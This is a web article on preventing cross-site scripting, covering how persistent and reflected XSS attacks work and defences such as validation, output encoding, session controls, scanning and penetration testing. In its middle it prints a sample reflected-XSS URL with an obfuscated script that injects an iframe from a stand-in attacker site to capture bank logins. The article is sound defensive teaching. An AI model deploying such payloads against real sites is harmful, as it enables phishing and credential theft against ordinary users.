Preventing Cross-Site Scripting Attacks

Preventing Cross-Site Scripting Attacks is one of the major Cyber-security Precaution every Web Developer should learn take So as to prevent exploits within your own organization.

Cross-site scripting is a security exploit in which the attacker inserts malicious client-side code into webpages, This has been around since the 1990s and most major websites like Google, Yahoo and Facebook have all been affected by cross-site scripting flaws at some point. Attacks exploiting XSS vulnerabilities can steal data, take control of a user\’s session, run malicious code, or be used as part of a phishing scam. Preventing These Cross-Site Scripting Attacks has now become a major concern for many developers, especially in the Web 2.0 era, Many believe Web 2.0 has created the latest round of Cross-Site Scripting attacks; in fact, they\’re mainly just variations on an old theme. What is true, though, is that Ajax (asynchronous JavaScript and XML) technologies change the threat landscape in that they allow an attacker to exploit cross-site scripting vulnerabilities in a more secret manner. Ajax applications tend to be very complex and active, there being many more interactions between the browser and server, and pages can even pull in content from other sites. This setup makes it difficult to test the many possible permutations of user and service interaction, allowing old vulnerabilities, making it quite difficult to prevent these Cross-Site Scripting Attacks.

Sites continue to fall prey to Cross-Site Scripting attacks because most of them need to be interactive, accepting, and returning data from users. This means attackers, too, can interact directly with an application\’s processes, passing data designed to disguise themselves as legitimate application requests or commands through normal request channels such as scripts, URLs, and form data. This communication at the application layer can exploit applications whose developers do not take the necessary steps in preventing these Cross-Site Scripting Attacks to bypass traditional perimeter security defenses.

According to a 2008 WhiteHat Security Statistics Report, 90% of all websites have at least one vulnerability, and 70% of all vulnerabilities are XSS-related. In this article, the first in a series on application-layer attacks, I want to look at how and why XSS attacks work and what you can do to Prevent this Cross-Site Scripting Attacks from your own Web applications.

Cross-site scripting explained: How XSS attacks work
Cross-site scripting attacks are different than most application-layer attacks, such as SQL injection, as they attack an application\’s users, not the application or server. Attacks work by injecting code, usually a client-side script such as JavaScript, into a Web application\’s output. Most websites have numerous injection points, such as search fields, feedback forms, cookies and forums that are vulnerable to cross-site scripting. The most common purpose of XSS attacks is to gather cookie data, as cookies are commonly and regularly used incorrectly to store information such as session IDs, user preferences or login information. Although client-side scripts cannot directly affect server-side information, they can still compromise a site\’s security, often using Document Object Model manipulation to alter form values or switch the form action to post the submitted data to the attacker\’s site.

Let\’s look at how simple an XSS attack can be. The XYZ football club\’s message board allows club members to post comments about the team and its performance. Comments are stored in an online database and displayed to other members without ever being validated or encoded. A malicious member can simply post a comment containing a script enclosed by the <script> tags. The attacker then waits for other members to view the comment. Since the text inside a <script> tag is not generally displayed, other members may not even be aware that the script has executed; merely viewing the comment will execute the script. The script can legitimately request the member\’s cookie information and pass it to the attacker. This type of XSS attack is known as persistent XSS because the malicious script is rendered more than once.

XSS attacks work even if the site is viewed over an SSL connection, because the script is run in the context of the \”secured\” site, and browsers cannot distinguish between legitimate and malicious content served up by a Web application. But attackers don\’t have to rely on injecting their code into a site\’s comment page. They can try to trick a victim into clicking on a URL in a phishing email, which then injects code into the viewed page, giving the attacker full access to that page\’s content –- this is a non-persistent XSS attack. URL encoding is often used in such attacks to disguise the link and make users more likely to follow it. In the example below, the link is to a secure a https URL to a trusted site:

https://www.userstrustedbank.com/script/loginservelet?function=\”> <script>document.write(String.fromCharCode(60,105,102,114,97,109,
101,32,115,114,99,61,104,
116,116,112,58,47,47,
119,119,119,46,97,98,97,
100,98,97,110,107,
46,99,111,109,47,108,
111,103,105,110,32,112,104,112,62))</script> 

Users see that the link is to www.userstrustedbank.com and is over an SSL connection; it looks genuine enough since links often have long, seemingly meaningless text at the end. The user clicks the link. However, the code between the <script> tags when translated by a browser reads:

 <iframe src=http://www.abadbank.com/login.php> 

This attack string renders an IFRAME — an HTML document embedded inside another HTML document on a website — in the context of userstrustedbank\’s actual site. The attacker\’s login.php page will be mocked up to look exactly like the userstrustedbank\’s login page, tricking the user into entering and sending his login username and password to the bad bank server, the source of the IFRAME, while all the time being on the real userstrustedbank.com website. This very attack has been used on banks\’ websites this year.For more cross-site scripting informationGet the latest news, videos and expert advice on Web application security.

Spooks website made basic blunder in XSS testing.

Find more information on application attacks, buffer overflows and cross-site scripting.

Essentially, the underlying problem and cause of XSS holes is that many dynamically created webpages display user input that is not validated or encoded. If you don\’t validate user-generated input and control how it is processed or published, you could fall victim to an XSS attack. (In my previous article, The true test of a Web application patch, I explained how to perform a quick test to see if your website is vulnerable to cross-site scripting attacks.)

How to prevent Cross-Site Scripting attacks
Preventing Cross-Site Scripting Attacks to reduce the chances of your site becoming a victim of an XSS attack, it\’s essential that… …any Web application is developed using some form of security development lifecycle (SDL). I will look at SDLs in more detail in a future article, but their main aim is to reduce the number of security-related design and coding errors in an application and reduce the severity of any errors that remain undetected. A good rule of the thumb you\’ll learn when developing secure applications is to assume that all data received by the application is from an untrusted source. This applies to any data received by the application — data, cookies, emails, files, or images — even if the data is from users who have logged into their account and authenticated themselves.

Not trusting user input means validating it for type, length, format, and range whenever data passes through a trust boundary, say from a Web form to an application script, and then encoding it prior to redisplay in a dynamic page. In practice, this means that you need to review every point on your site where user-supplied data is handled and processed and ensure that, before being passed back to the user, any values accepted from the client side are checked, filtered, and encoded. This is because in Preventing Cross-Site Scripting Attacks, it is very likely that some mischievous users can inject powerful Javascript code into your web form, which the browser will interpret as legit Javascript and run it as such.

Client-side validation cannot be relied upon, but user input can be forced down to a minimal alphanumeric set with server-side processing before being used by your Web application in any way. You can use regular expressions to search and replace user input to ensure it\’s non-malicious. This cleaning and validation should be performed on all data before passing it on to another process. For example, a phone number field shouldn\’t accept any punctuation other than parentheses and dashes. You also need to encode special characters like \”<\” and \”>\” before they are redisplayed if they are received from user input, this makes preventing Cross-Site Scripting attacks easier because any Javascript or html code you want to run on a browser must first begin and end with a \”<\” and\”>\” sign. Encoding the script tag ensures a browser will display <script> but not execute it. In conjunction with encoding, it is important that your webpages always define their character set so the browser won\’t interpret special character encodings from other character sets.

Web applications that do not need to accept rich data can use escaping to completely eliminate the risk of Cross-Site Scripting Attacks. There are, of course, times when an application will need to accept special HTML characters, such as \”<\” and \”>\”, for example on social networking sites where font formatting is accepted functionality. Securely encoding such input can be tricky due to the flexibility and complexity of HTML. I\’d recommend making use of a security encoding library. Microsoft\’s ASP.NET provides validation server controls that can validate user input. Web applications running on an Apache server or using the Perl programming language can also use the Apache::TaintRequest module or PerlTaintcheck to automate the process of handling external data. You should ensure that all your developers understand how to incorporate these additional safety features into their code.

Another barrier to XSS attacks is a \”crossing boundaries\” policy whereby authenticated users have to re-enter their passwords before accessing certain services. For instance, even if a user has a cookie that will automatically log them into your site, they should be forced to enter their username and password when they attempt to access any sensitive account information. This extra boundary can limit the possibility of a session being hijacked by a XSS attack. Another simple yet effective technique is to immediately expire a session if machines at two separate IP addresses attempt to use the same session data. You can create session IDs using information specific to the user such as a timestamp and IP address. Although this technique can be overcome by IP spoofing, it does provide an extra layer of security against automated attacks.

You should look at using automatic source code scanning tools and Web vulnerability scanners during the development of your applications. A good Web vulnerability scanner will spot common technical weaknesses, such as those that are vulnerable to cross-site scripting. If you use third-party packages like search engines on your site, you should always check for known vulnerabilities or configuration issues with the vendors. This should be followed with a thorough test of how they handle unwanted input. Never assume they are secure.

Prior to putting your Web application live, you should conduct a penetration test. By simulating an attack, you can evaluate whether your site still has any potential XSS vulnerabilities resulting from poor or improper system configuration, hardware or software flaws or weaknesses in the perimeter defences protecting the site. I would recommend that you read the Open Source Security Testing Methodology Manual, which provides a recognized methodology for performing security tests and measuring the results.

Most sites nowadays won\’t work without client-side scripting, so asking users to turn off scripting in their browser is not really a solution, particularly as most wouldn\’t know how to do this anyway. In a welcome effort to combat XSS attacks, Microsoft\’s IE 8 has a XSS Filter which aims to provide automatic detection and prevention of common XSS attacks if they try to replay in the server\’s response. Users are not presented with questions they are unable to answer; IE simply blocks the malicious script from executing.

At the end of the day, though, it is down to Web developers to follow a secure development life cycle and Web administrators to scan their sites for vulnerabilities and protect them with a Web application firewall to prevent XSS attacks. After all, it\’s your customers and your reputation that XSS damages.